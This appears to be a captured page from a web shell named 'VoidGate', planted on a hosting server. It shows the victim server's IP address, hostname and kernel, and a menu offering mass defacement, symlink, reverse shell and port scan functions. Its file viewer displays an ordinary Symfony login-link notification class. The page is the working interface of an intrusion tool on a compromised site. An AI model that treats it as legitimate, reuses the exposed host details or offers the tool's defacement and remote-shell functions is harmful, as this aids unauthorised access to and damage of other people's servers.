ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
symfony
/
security-http
/
LoginLink
/
Viewing: LoginLinkNotification.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Security\Http\LoginLink; use Symfony\Bridge\Twig\Mime\NotificationEmail; use Symfony\Component\Notifier\Message\EmailMessage; use Symfony\Component\Notifier\Message\SmsMessage; use Symfony\Component\Notifier\Notification\EmailNotificationInterface; use Symfony\Component\Notifier\Notification\Notification; use Symfony\Component\Notifier\Notification\SmsNotificationInterface; use Symfony\Component\Notifier\Recipient\EmailRecipientInterface; use Symfony\Component\Notifier\Recipient\SmsRecipientInterface; /** * Use this notification to ease sending login link * emails/SMS using the Notifier component. * * @author Wouter de Jong <wouter@wouterj.nl> */ class LoginLinkNotification extends Notification implements EmailNotificationInterface, SmsNotificationInterface { private $loginLinkDetails; public function __construct(LoginLinkDetails $loginLinkDetails, string $subject, array $channels = []) { parent::__construct($subject, $channels); $this->loginLinkDetails = $loginLinkDetails; } public function asEmailMessage(EmailRecipientInterface $recipient, string $transport = null): ?EmailMessage { if (!class_exists(NotificationEmail::class)) { throw new \LogicException(sprintf('The "%s" method requires "symfony/twig-bridge:>4.4".', __METHOD__)); } $email = NotificationEmail::asPublicEmail() ->to($recipient->getEmail()) ->subject($this->getSubject()) ->content($this->getContent() ?: $this->getDefaultContent('button below')) ->action('Sign in', $this->loginLinkDetails->getUrl()) ; return new EmailMessage($email); } public function asSmsMessage(SmsRecipientInterface $recipient, string $transport = null): ?SmsMessage { return new SmsMessage($recipient->getPhone(), $this->getDefaultContent('link').' '.$this->loginLinkDetails->getUrl()); } private function getDefaultContent(string $target): string { $duration = $this->loginLinkDetails->getExpiresAt()->getTimestamp() - time(); $durationString = floor($duration / 60).' minute'.($duration > 60 ? 's' : ''); if (($hours = $duration / 3600) >= 1) { $durationString = floor($hours).' hour'.($hours >= 2 ? 's' : ''); } return sprintf('Click on the %s to confirm you want to sign in. This link will expire in %s.', $target, $durationString); } }
Coded With 💗 by
0x6ick